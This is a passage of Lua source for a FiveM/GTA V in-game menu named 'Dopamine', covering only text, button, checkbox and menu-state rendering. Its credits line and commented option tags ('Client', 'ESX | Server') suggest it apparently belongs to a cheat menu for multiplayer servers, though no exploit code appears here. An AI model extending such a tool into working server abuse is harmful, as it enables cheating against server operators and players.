  621. function Dopamine.setMenuVisible(id, visible, holdCurrent)
  622. if id and Dopamine.menuProps.shitMenus[id] then
  623. Dopamine.setMenuProperty(id, 'visible', visible)
  624.  
  625. if not holdCurrent and Dopamine.menuProps.shitMenus[id] then
  626. Dopamine.setMenuProperty(id, 'currentOption', 1)
  627. end
  628.  
  629. if visible then
  630. if id ~= Dopamine.menuProps.currentMenu and Dopamine.isMenuVisible(Dopamine.menuProps.currentMenu) then
  631. Dopamine.setMenuVisible(Dopamine.menuProps.currentMenu, false)
  632. end
  633.  
  634. Dopamine.menuProps.currentMenu = id
  635. end
  636. end
  637. end
  638.  
  639. function Dopamine.DrawTxt(text, x, y, scale, size, color)
  640. Dopamine.natives.setTextColour(color.r, color.g, color.b, color.a)
  641. Dopamine.natives.setTextFont(4)
  642. SetTextCentre()
  643. Dopamine.natives.setTextProportional(1)
  644. Dopamine.natives.setTextScale(scale, size)
  645. SetTextDropshadow(0, 0, 0, 0, 255)
  646. SetTextEdge(2, 0, 0, 0, 255)
  647. Dopamine.natives.setTextDropShadow()
  648. if Dopamine.menuProps.menu_TextOutline then
  649. Dopamine.natives.setTextOutline()
  650. end
  651. Dopamine.natives.beginTextCommandDisplayText('STRING')
  652. Dopamine.natives.addTextComponentSubstringPlayerName(text)
  653. Dopamine.natives.endTextCommandDisplayText(x, y)
  654. end
  655.  
  656. function Dopamine.drawText(text, x, y, font, color, scale, center, shadow, alignRight)
  657. Dopamine.natives.setTextColour(color.r, color.g, color.b, color.a)
  658. if Dopamine.menuProps.menu_TextDropShadow then
  659. Dopamine.natives.setTextDropShadow(0, 0, 0, 0,255)
  660. end
  661. SetTextEdge(2, 0, 0, 0, 255)
  662. if Dopamine.menuProps.menu_TextOutline then
  663. Dopamine.natives.setTextOutline()
  664. end
  665. Dopamine.natives.setTextFont(font)
  666. Dopamine.natives.setTextScale(scale, scale)
  667.  
  668. if shadow then
  669. Dopamine.natives.setTextDropShadow(2, 2, 0, 0, 0)
  670. end
  671.  
  672. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu] then
  673. if center then
  674. SetTextCentre(center)
  675. elseif alignRight then
  676. SetTextWrap(Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width - Dopamine.menuProps.buttonTextXOffset)
  677. SetTextRightJustify(true)
  678. end
  679. end
  680.  
  681. Dopamine.natives.beginTextCommandDisplayText('STRING')
  682. Dopamine.natives.addTextComponentSubstringPlayerName(text)
  683. Dopamine.natives.endTextCommandDisplayText(x, y)
  684. end
  685.  
  686. function Dopamine.drawRect(x, y, width, height, color)
  687. Dopamine.natives.drawRect(x, y, width, height, color.r, color.g, color.b, color.a)
  688. end
  689.  
  690. function Dopamine.drawTitle()
  691. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu] then
  692. local x = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width / 2
  693. local xText = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width * Dopamine.menuProps.titleXOffset
  694. local y = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].y + Dopamine.menuProps.titleHeight * 1/Dopamine.menuProps.titleSpacing
  695.  
  696. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].titleBackgroundSprite then
  697. DrawSprite(Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].titleBackgroundSprite.dict, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].titleBackgroundSprite.name, x, y, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width, Dopamine.menuProps.titleHeight, 0.0, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b, 255)
  698. else
  699. Dopamine.drawRect(x, y, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width, Dopamine.menuProps.titleHeight, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].titleBackgroundColor)
  700. end
  701.  
  702. Dopamine.drawText(Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].title, xText, y - Dopamine.menuProps.titleHeight / 2 + Dopamine.menuProps.titleYOffset, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].titleFont, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].titleColor, Dopamine.menuProps.titleScale, true)
  703. Dopamine.drawText(Dopamine.menuProps._mVersion, xText + 0.2, y - Dopamine.menuProps.titleHeight / 2 + Dopamine.menuProps.titleYOffset + 0.020, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].titleFont, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].titleColor, Dopamine.menuProps.titleScale - 0.3, true)
  704. end
  705. end
  706.  
  707. function Dopamine.drawSubTitle()
  708. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu] then
  709. local x = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width / 2
  710. local y = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].y + Dopamine.menuProps.titleHeight + Dopamine.menuProps.buttonHeight / 2
  711.  
  712. local subTitleColor = { r = Dopamine.mainColor.r, g = Dopamine.mainColor.g, b = Dopamine.mainColor.b, a = 255 }
  713.  
  714. Dopamine.drawRect(x, y, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width, Dopamine.menuProps.buttonHeight, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].subTitleBackgroundColor)
  715. Dopamine.drawText(Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].subTitle, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset, y - Dopamine.menuProps.buttonHeight / 2 + Dopamine.menuProps.buttonTextYOffset, Dopamine.menuProps.buttonFont, subTitleColor, Dopamine.menuProps.buttonScale, false)
  716. --[[Dopamine.drawText(Dopamine.menuProps._mVersion, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.232, y - Dopamine.menuProps.buttonHeight / 2 + Dopamine.menuProps.buttonTextYOffset, Dopamine.menuProps.buttonFont, subTitleColor, Dopamine.menuProps.buttonScale, true)]]
  717.  
  718. if Dopamine.menuProps.optionCount > Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].maxOptionCount then
  719. Dopamine.drawText(tostring(Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption)..' / '..tostring(Dopamine.menuProps.optionCount), Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width, y - Dopamine.menuProps.buttonHeight / 2 + Dopamine.menuProps.buttonTextYOffset, Dopamine.menuProps.buttonFont, subTitleColor, Dopamine.menuProps.buttonScale, false, false, true)
  720. end
  721. end
  722. end
  723.  
  724. function Dopamine.drawButton(arrowsprite, text, subText, spriteData)
  725. local x = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width / 2
  726. local multiplier = nil
  727.  
  728. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption <= Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].maxOptionCount and Dopamine.menuProps.optionCount <= Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].maxOptionCount then
  729. multiplier = Dopamine.menuProps.optionCount
  730. elseif Dopamine.menuProps.optionCount > Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption - Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].maxOptionCount and Dopamine.menuProps.optionCount <= Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption then
  731. multiplier = Dopamine.menuProps.optionCount - (Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption - Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].maxOptionCount)
  732. end
  733.  
  734. if multiplier then
  735. local y = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].y + Dopamine.menuProps.titleHeight + Dopamine.menuProps.buttonHeight + (Dopamine.menuProps.buttonHeight * multiplier) - Dopamine.menuProps.buttonHeight / 2
  736. local backgroundColor = nil
  737. local textColor = nil
  738. local subTextColor = nil
  739. local shadow = false
  740.  
  741. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption == Dopamine.menuProps.optionCount then
  742. backgroundColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuFocusBackgroundColor
  743. textColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuFocusTextColor
  744. subTextColor = {r = Dopamine.mainColor.r, g = Dopamine.mainColor.g, b = Dopamine.mainColor.b, a = 255}
  745. else
  746. backgroundColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuBackgroundColor
  747. textColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuTextColor
  748. subTextColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuSubTextColor
  749. shadow = true
  750. end
  751.  
  752. Dopamine.drawRect(x, y, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width, Dopamine.menuProps.buttonHeight, backgroundColor)
  753.  
  754. if spriteData then
  755. if not HasStreamedTextureDictLoaded(spriteData.dict) then Dopamine.natives.requestStreamedTextureDict(spriteData.dict, true) end
  756. if Dopamine.menuProps.menu_TextOutline then
  757. DrawSprite(spriteData.dict, spriteData.text, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.008, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.0125, 0.0275, 0.0375, 0.0, 0, 0, 0, 255)
  758. end
  759. if Dopamine.menuProps.selectedTheme ~= 'Classic' then
  760. DrawSprite(spriteData.dict, spriteData.text, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.008, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.0125, 0.0255, 0.0355, 0.0, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b, 155)
  761. end
  762. DrawSprite(spriteData.dict, spriteData.text, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.008, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.0125, 0.0225, 0.0325, 0.0, spriteData.color.r, spriteData.color.g, spriteData.color.b, 255)
  763. Dopamine.drawText(text, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.018, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset, Dopamine.menuProps.buttonFont, textColor, Dopamine.menuProps.buttonScale, false, shadow)
  764. else
  765. Dopamine.drawText(text, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset, Dopamine.menuProps.buttonFont, textColor, Dopamine.menuProps.buttonScale, false, shadow)
  766. end
  767.  
  768. if subText then
  769. Dopamine.drawText(subText, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset, y - Dopamine.menuProps.buttonHeight / 2 + Dopamine.menuProps.buttonTextYOffset, Dopamine.menuProps.buttonFont, subTextColor, Dopamine.menuProps.buttonScale, false, shadow, true)
  770. end
  771.  
  772. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption == Dopamine.menuProps.optionCount and arrowsprite then
  773. if not HasStreamedTextureDictLoaded('commonmenu') then Dopamine.natives.requestStreamedTextureDict('commonmenu', true) end
  774. if Dopamine.menuProps.menu_TextOutline then
  775. DrawSprite('commonmenu', 'arrowright', Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.240, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.0125, 0.0245, 0.0365, 0.0, 0, 0, 0, 255)
  776. end
  777. DrawSprite('commonmenu', 'arrowright', Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.240, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.0125, 0.0225, 0.0325, 0.0, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b, 255)
  778. elseif arrowsprite then
  779. if not HasStreamedTextureDictLoaded('commonmenu') then Dopamine.natives.requestStreamedTextureDict('commonmenu', true) end
  780. if Dopamine.menuProps.menu_TextOutline then
  781. DrawSprite('commonmenu', 'arrowright', Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.240, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.0125, 0.0245, 0.0365, 0.0, 0, 0, 0, 255)
  782. end
  783. DrawSprite('commonmenu', 'arrowright', Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.240, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.0125, 0.0225, 0.0325, 0.0, 175, 175, 175, 155)
  784. end
  785.  
  786. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption == Dopamine.menuProps.optionCount and Dopamine.menuProps.menu_RectOverlay then
  787. if not HasStreamedTextureDictLoaded('deadline') then Dopamine.natives.requestStreamedTextureDict('deadline', true) end
  788. DrawSprite('deadline', 'deadline_trail_01', x, y, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width, Dopamine.menuProps.buttonHeight, 0.0, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b, 55)
  789. end
  790. end
  791. end
  792. local be_aN = 1
  793. function Dopamine.drawCheckbox(text, state)
  794. local x = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width / 2
  795. local multiplier = nil
  796.  
  797. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption <= Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].maxOptionCount and Dopamine.menuProps.optionCount <= Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].maxOptionCount then
  798. multiplier = Dopamine.menuProps.optionCount
  799. elseif Dopamine.menuProps.optionCount > Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption - Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].maxOptionCount and Dopamine.menuProps.optionCount <= Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption then
  800. multiplier = Dopamine.menuProps.optionCount - (Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption - Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].maxOptionCount)
  801. end
  802.  
  803. if multiplier then
  804. local y = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].y + Dopamine.menuProps.titleHeight + Dopamine.menuProps.buttonHeight + (Dopamine.menuProps.buttonHeight * multiplier) - Dopamine.menuProps.buttonHeight / 2
  805. local backgroundColor = nil
  806. local textColor = nil
  807. local shadow = false
  808.  
  809. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption == Dopamine.menuProps.optionCount then
  810. backgroundColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuFocusBackgroundColor
  811. textColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuFocusTextColor
  812. else
  813. backgroundColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuBackgroundColor
  814. textColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuTextColor
  815. shadow = true
  816. end
  817.  
  818. Dopamine.drawRect(x, y, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width, Dopamine.menuProps.buttonHeight, backgroundColor)
  819.  
  820. Dopamine.drawText(text, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset, Dopamine.menuProps.buttonFont, textColor, Dopamine.menuProps.buttonScale, false, shadow)
  821.  
  822. if not HasStreamedTextureDictLoaded('helicopterhud') then Dopamine.natives.requestStreamedTextureDict('helicopterhud', true) end
  823. if not HasStreamedTextureDictLoaded('commonmenu') then Dopamine.natives.requestStreamedTextureDict('commonmenu', true) end
  824.  
  825. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption == Dopamine.menuProps.optionCount then
  826. if state then
  827. if Dopamine.menuProps.selectedCheckboxStyle == 'New' then
  828. DrawSprite('helicopterhud', 'hud_outline', Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.235, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.01375, 0.0225, 0.0325, 0.0, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b, 255)
  829. DrawSprite('commonmenu', 'shop_tick_icon', Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.235, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.0125, 0.0325, 0.0425, 0.0, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b, 255)
  830. elseif Dopamine.menuProps.selectedCheckboxStyle == 'Old' then
  831. DrawSprite('commonmenu', 'shop_box_tick', Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.235, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.0125, 0.0325, 0.0425, 0.0, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b, 255)
  832. end
  833. else
  834. if Dopamine.menuProps.selectedCheckboxStyle == 'New' then
  835. DrawSprite('helicopterhud', 'hud_lock', Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.235, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.01375, 0.0225, 0.0325, 0.0, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b, 255)
  836. elseif Dopamine.menuProps.selectedCheckboxStyle == 'Old' then
  837. DrawSprite('commonmenu', 'shop_box_blank', Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.235, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.0125, 0.0325, 0.0425, 0.0, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b, 255)
  838. end
  839. end
  840. else
  841. if state then
  842. if Dopamine.menuProps.selectedCheckboxStyle == 'New' then
  843. DrawSprite('helicopterhud', 'hud_outline', Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.235, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.01375, 0.0225, 0.0325, 0.0, 155, 155, 155, 255)
  844. DrawSprite('commonmenu', 'shop_tick_icon', Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.235, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.0125, 0.0325, 0.0425, 0.0, 155, 155, 155, 255)
  845. elseif Dopamine.menuProps.selectedCheckboxStyle == 'Old' then
  846. DrawSprite('commonmenu', 'shop_box_tick', Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.235, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.0125, 0.0325, 0.0425, 0.0, 155, 155, 155, 255)
  847. end
  848. else
  849. if Dopamine.menuProps.selectedCheckboxStyle == 'New' then
  850. DrawSprite('helicopterhud', 'hud_lock', Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.235, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.01375, 0.0225, 0.0325, 0.0, 155, 155, 155, 255)
  851. elseif Dopamine.menuProps.selectedCheckboxStyle == 'Old' then
  852. DrawSprite('commonmenu', 'shop_box_blank', Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset + 0.235, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset + 0.0125, 0.0325, 0.0425, 0.0, 155, 155, 155, 255)
  853. end
  854. end
  855. end
  856.  
  857. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption == Dopamine.menuProps.optionCount and Dopamine.menuProps.menu_RectOverlay then
  858. if not HasStreamedTextureDictLoaded('deadline') then Dopamine.natives.requestStreamedTextureDict('deadline', true) end
  859. DrawSprite('deadline', 'deadline_trail_01', x, y, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width, Dopamine.menuProps.buttonHeight, 0.0, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b, 55)
  860. end
  861. end
  862. end
  863.  
  864. function Dopamine.createMenu(id, title)
  865. --[[Default settings]]
  866. table.insert(Dopamine.menus_list, id)
  867. Dopamine.menuProps.shitMenus[id] = {}
  868. Dopamine.menuProps.shitMenus[id].title = title
  869. Dopamine.menuProps.shitMenus[id].subTitle = 'by N~s~er~s~t~s~ig~s~el'
  870.  
  871. Dopamine.menuProps.shitMenus[id].visible = false
  872.  
  873. Dopamine.menuProps.shitMenus[id].previousMenu = nil
  874.  
  875. Dopamine.menuProps.shitMenus[id].aboutToBeClosed = false
  876.  
  877. Dopamine.menuProps.shitMenus[id].x = 0.0175
  878. Dopamine.menuProps.shitMenus[id].y = 0.025
  879. Dopamine.menuProps.shitMenus[id].width = 0.23
  880.  
  881. Dopamine.menuProps.shitMenus[id].currentOption = 1
  882. Dopamine.menuProps.shitMenus[id].maxOptionCount = Dopamine.menuProps.maximumOptionCount
  883.  
  884. Dopamine.menuProps.shitMenus[id].titleFont = 1
  885. Dopamine.menuProps.shitMenus[id].titleColor = { r = 0, g = 0, b = 0, a = 255 }
  886. Dopamine.menuProps.shitMenus[id].titleBackgroundColor = { r = 0, g = 0, b = 0, a = 255 }
  887. Dopamine.menuProps.shitMenus[id].titleBackgroundSprite = nil
  888.  
  889. Dopamine.menuProps.shitMenus[id].menuTextColor = { r = 150, g = 150, b = 150, a = 255 }
  890. Dopamine.menuProps.shitMenus[id].menuSubTextColor = { r = 0, g = 0, b = 0, a = 255 }
  891. Dopamine.menuProps.shitMenus[id].menuFocusTextColor = { r = 155, g = 155, b = 155, a = 255 }
  892. Dopamine.menuProps.shitMenus[id].menuFocusBackgroundColor = { r = 0, g = 0, b = 0, a = 255 }
  893. Dopamine.menuProps.shitMenus[id].menuBackgroundColor = { r = 55, g = 55, b = 55, a = 255 }
  894.  
  895. Dopamine.menuProps.shitMenus[id].subTitleBackgroundColor = { r = 35, g = 35, b = 35, a = 255 }
  896. Dopamine.menuProps.shitMenus[id].subTitleTextColor = { r = Dopamine.mainColor.r, g = Dopamine.mainColor.g, b = Dopamine.mainColor.b, a = 255 }
  897.  
  898. Dopamine.menuProps.shitMenus[id].buttonPressedSound = { name = 'SELECT', set = 'HUD_FRONTEND_DEFAULT_SOUNDSET' } --[[https://pastebin.com/0neZdsZ5]]
  899.  
  900. Dopamine.debugPrint(tostring(id)..' menu created')
  901. end
  902.  
  903. function Dopamine.createSubMenu(id, parent, subTitle)
  904. if Dopamine.menuProps.shitMenus[parent] then
  905. Dopamine.createMenu(id, Dopamine.menuProps.shitMenus[parent].title)
  906.  
  907. if subTitle then
  908. Dopamine.setMenuProperty(id, 'subTitle', subTitle)
  909. else
  910. Dopamine.setMenuProperty(id, 'subTitle', Dopamine.menuProps.shitMenus[parent].subTitle)
  911. end
  912.  
  913. Dopamine.setMenuProperty(id, 'previousMenu', parent)
  914.  
  915. Dopamine.setMenuProperty(id, 'x', Dopamine.menuProps.shitMenus[parent].x)
  916. Dopamine.setMenuProperty(id, 'y', Dopamine.menuProps.shitMenus[parent].y)
  917. Dopamine.setMenuProperty(id, 'maxOptionCount', Dopamine.menuProps.shitMenus[parent].maxOptionCount)
  918. Dopamine.setMenuProperty(id, 'titleFont', Dopamine.menuProps.shitMenus[parent].titleFont)
  919. Dopamine.setMenuProperty(id, 'titleColor', Dopamine.menuProps.shitMenus[parent].titleColor)
  920. Dopamine.setMenuProperty(id, 'titleBackgroundColor', Dopamine.menuProps.shitMenus[parent].titleBackgroundColor)
  921. Dopamine.setMenuProperty(id, 'titleBackgroundSprite', Dopamine.menuProps.shitMenus[parent].titleBackgroundSprite)
  922. Dopamine.setMenuProperty(id, 'menuTextColor', Dopamine.menuProps.shitMenus[parent].menuTextColor)
  923. Dopamine.setMenuProperty(id, 'menuSubTextColor', Dopamine.menuProps.shitMenus[parent].menuSubTextColor)
  924. Dopamine.setMenuProperty(id, 'menuFocusTextColor', Dopamine.menuProps.shitMenus[parent].menuFocusTextColor)
  925. Dopamine.setMenuProperty(id, 'menuFocusBackgroundColor', Dopamine.menuProps.shitMenus[parent].menuFocusBackgroundColor)
  926. Dopamine.setMenuProperty(id, 'menuBackgroundColor', Dopamine.menuProps.shitMenus[parent].menuBackgroundColor)
  927. Dopamine.setMenuProperty(id, 'subTitleBackgroundColor', Dopamine.menuProps.shitMenus[parent].subTitleBackgroundColor)
  928. else
  929. Dopamine.debugPrint('Failed to create '..tostring(id)..' submenu: '..tostring(parent)..' parent menu doesn\'t exist')
  930. end
  931. end
  932.  
  933. function Dopamine.openMenu(id)
  934. if id and Dopamine.menuProps.shitMenus[id] then
  935. Dopamine.natives.playSoundFrontend(-1, 'SELECT', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  936. Dopamine.setMenuVisible(id, true)
  937. Dopamine.debugPrint(tostring(id)..' menu opened')
  938. else
  939. Dopamine.debugPrint('Failed to open '..tostring(id)..' menu: it doesn\'t exist')
  940. end
  941. end
  942.  
  943. function Dopamine.isMenuOpened(id)
  944. return Dopamine.isMenuVisible(id)
  945. end
  946.  
  947. function Dopamine.isAnyMenuOpened()
  948. for id, _ in pairs(Dopamine.menuProps.shitMenus) do
  949. if Dopamine.isMenuVisible(id) then return true end
  950. end
  951.  
  952. return false
  953. end
  954.  
  955. function Dopamine.isMenuAboutToBeClosed()
  956. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu] then
  957. return Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].aboutToBeClosed
  958. else
  959. return false
  960. end
  961. end
  962.  
  963. function Dopamine.closeMenu()
  964. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu] then
  965. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].aboutToBeClosed then
  966. Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].aboutToBeClosed = false
  967. Dopamine.setMenuVisible(Dopamine.menuProps.currentMenu, false)
  968. Dopamine.debugPrint(tostring(Dopamine.menuProps.currentMenu)..' menu closed')
  969. Dopamine.natives.playSoundFrontend(-1, 'QUIT', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  970. Dopamine.menuProps.optionCount = 0
  971. Dopamine.menuProps.currentMenu = nil
  972. Dopamine.menuProps.currentKey = nil
  973. else
  974. Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].aboutToBeClosed = true
  975. Dopamine.debugPrint(tostring(Dopamine.menuProps.currentMenu)..' menu about to be closed')
  976. end
  977. end
  978. end
  979.  
  980. function Dopamine.button(text, subText, spriteData)
  981. local buttonText = text
  982. if subText then
  983. buttonText = '{ '..tostring(buttonText)..', '..tostring(subText)..' }'
  984. end
  985.  
  986. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu] then
  987. Dopamine.menuProps.optionCount = Dopamine.menuProps.optionCount + 1
  988.  
  989. local isCurrent = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption == Dopamine.menuProps.optionCount
  990. --[[local actualSubText = ''
  991. if subText == 'Native' then
  992. actualSubText = '~g~'..subText
  993. elseif subText == 'Client' or subText == 'ESX | Client' then
  994. actualSubText = '~y~'..subText
  995. elseif subText == 'Server' or subText == 'ESX | Server' then
